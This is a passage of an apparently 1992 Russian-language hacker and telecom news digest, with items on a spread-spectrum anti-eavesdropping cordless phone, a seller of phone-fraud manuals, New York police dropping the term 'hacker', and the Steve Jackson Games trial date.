Двоим старшим мальчикам предъявлены обвинения в организованном мошенничестве и нарушении прав интеллектуальной собственности. Третий мальчик был передан родителям.

---

**7. РАДИОТЕЛЕФОН, ЗАЩИЩАЮЩИЙ ОТ ПРОСЛУШИВАНИЯ** (*Business Week*, 03.08.92) — Для промышленных шпионов и прочих любопытных миллионы радиотелефонов в обиходе — настоящие кладези информации. Разговоры можно перехватить с помощью полицейского сканера, причём всё проще. Новейшие беспроводные технологии обеспечивают более чёткий звук и большую дальность — до полумили. Это стало возможным потому, что новые телефоны транслируют сигналы на частоте 900 МГц, то есть в 20 раз выше, чем у нынешних моделей.



Cincinnati Microwave, Inc. (производители радарных детекторов) рассчитывает, что руководители компаний и потребители заплатят небольшую надбавку за конфиденциальность переговоров. Компания разработала телефон, который должен поступить в продажу в октябре через её подразделение Escort по цене около 300 долларов; телефон защищает от прослушивания с помощью технологии «расширения спектра», аналогичной методу шифрования, применяемому военными в защищённых радиостанциях. Сигналы между трубкой и базовым блоком оцифровываются, становясь неразборчивыми для человека, а передача случайным образом переходит между различными частотами в диапазоне 900 МГц. Чтобы удержать стоимость в диапазоне других моделей 900 МГц, Cincinnati Microwave разработала специальные микросхемы, синхронизирующие трубку и базовый блок.

---

**8. НОВЫЙ КОД ЗОНЫ** — С 1 ноября 1992 года новый код зоны 210 обслуживает 152 населённых пункта в районах Сан-Антонио и долины Рио-Гранде.

---

**9. НА ПРОДАЖУ: ИНСТРУМЕНТЫ ТЕЛЕФОННОГО ФРИКИНГА** (*Brigid McMenamin, Forbes, 03.08.92, стр. 64*) — Из своего удалённого форпоста в Аламогордо, Нью-Мексико, Джон Уильямс неплохо зарабатывает, рассказывая хакерам, как обворовывать телефонные и компьютерные системы.

Уильямс говорит, что приносит около 200 000 долларов в год, издавая книги обо всём — от схем с кредитными картами и взлома банкоматов до электронного магазинного воровства, фрикинга сотовых телефонов и взлома голосовых почтовых ящиков, каждая по цене от 29 до 39 долларов и с точными инструкциями. Он даже продаёт Robofones, избавляющие хакеров от длительного набора номеров при краже кодов доступа.

Разве то, что он делает, незаконно? Возможно, так и должно быть, но это не так. Прикрываясь Первой поправкой, Уильямс является полноправным членом Торговой палаты Аламогордо и Бюро по улучшению деловой практики Нью-Мексико. Он насмехается над компаниями и властями, которые хотели бы заставить его прекратить продавать подобные секреты. «Мы не пропагандируем мошенничество», — настаивает он. «Всё продаётся исключительно в образовательных целях. Если бы мы не публиковали информацию, она всё равно была бы в открытом доступе».

Но в прошлом году к Уильямсу наведальась Секретная служба, расследовавшая дело о телефонном мошенничестве, в котором одна из его публикаций сыграла заметную роль.

В Гейнсвилле, Флорида, в ноябре 1990 года двое молодых людей были задержаны полицией за взлом систем голосовой почты и последующие звонки на номера 900. Один из пары, известный как Shark, которому тогда было 20 лет, признал вину, но заявил, что действовал по заданию издания Уильямса — Consumertronics. Виновным грозило до пяти лет только по статье о мошенничестве. Однако потерпевший не хотел огласки, и власти штата ограничились 50 часами общественных работ.

Секретная служба отправилась поговорить с Уильямсом. Уильямс заверил агента Джеймса Поллара, что никогда не поручал Shark'у ничего незаконного. Тем не менее, по словам Уильямса, агент намекнул, что Уильямс и члены его семьи, работающие на него, могут быть привлечены к ответственности за публикацию кодов доступа к голосовой почте.

В итоге обвинения против Уильямса предъявлены не были. Он признаёт, что питает неприязнь к крупному бизнесу, особенно к телефонным компаниям. «Десятилетиями они финансировали правые режимы в Латинской Америке», — негодует он.

Это безумный мир — мир телефонных мошенников.

---

**10. ПОЛИЦИЯ ШТАТА НЬЮ-ЙОРК ДЕКРИМИНАЛИЗИРУЕТ СЛОВО «ХАКЕР»** (*Barbara E. McMullen u John F. McMullen, Newsbytes, 21.10.92*) — ОЛБАНИ, НЬЮ-ЙОРК — Старший следователь Рон Стивенс из отдела по компьютерным преступлениям полиции штата Нью-Йорк сообщил Newsbytes, что его подразделение намерено избегать употребления термина «хакер» при описании лиц, предположительно совершивших компьютерные преступления.

Стивенс рассказал Newsbytes: «Мы используем термин "компьютерный преступник" для описания тех, кто нарушает закон с использованием компьютеров. Хотя обыватель, возможно, и стал понимать под словом "хакер" компьютерного преступника, этот термин неточен. Люди на заре компьютерной эпохи считали себя хакерами, и именно они создали компьютер таким, каким он является сегодня. Есть и те, кто сегодня считает себя хакерами и не совершает незаконных действий».

Стивенс сделал аналогичные комментарии в ходе недавней беседы с Марти Уинтером, системным оператором BBS в Олбани. Уинтер рассказал Newsbytes: «"Хакер" — к сожалению, пример того, как СМИ берут то, что прежде было почётным термином, и используют его для описания деятельности, потому что они (СМИ) слишком ленивы или глупы, чтобы придумать что-то другое. Кто знает, может, когда-нибудь в ходу и будет "компьютерный делинквент", но я уж точно не стану ждать».

Стивенс вместе со следователем Диком Линчем и старшим следователем Дональдом Делани посетил конференцию «Компьютеры, свобода и конфиденциальность» (CFP-2) в Вашингтоне в марте 1992 года и встретился с такими отраслевыми деятелями, как Гленн Тенни, кандидат в Конгресс и председатель ежегодной «Хакерской конференции» WELL; Крейг Нейдорф, основатель и издатель Phrack; Стивен Леви, автор книг «Хакеры» и вышедшей недавно «Artificial Life»; Брюс Стерлинг, автор недавно вышедшей «The Hacker Crackdown»; Эммануэль Голдстейн, редактор и издатель «2600: The Hacker Quarterly» и ряд известных «хакеров».

Стивенс сказал: «Вернувшись домой, я прочитал как можно больше литературы по теме и пришёл к выводу, что хакер — не обязательно компьютерный преступник».

Использование термина «хакер» для описания лиц, предположительно совершивших компьютерные преступления, давно раздражает многих в онлайн-сообществе. Когда в федеральном обвинительном заключении от 8 июля в отношении пятерых жителей Нью-Йорка понятие «компьютерный хакер» было определено как «кто-то, кто использует компьютер или телефон для получения несанкционированного доступа к другим компьютерам», в таких электронных конференц-системах, как WELL (Whole Earth 'Lectronic Link), поднялась волна возмущения. Многие из тех же людей весьма одобрительно восприняли заявление Стивенса, когда оно было опубликовано на WELL.

---

**11. НАЗНАЧЕНА ДАТА СУДА ПО ДЕЛУ STEVE JACKSON GAMES** — Майк Годвин, главный юристконсульт Electronic Frontier Foundation, объявил 23 декабря, что дело Steve Jackson Games и др. против Секретной службы США и др. будет рассматриваться в Остине, Техас, во вторник, 19 января 1993 года.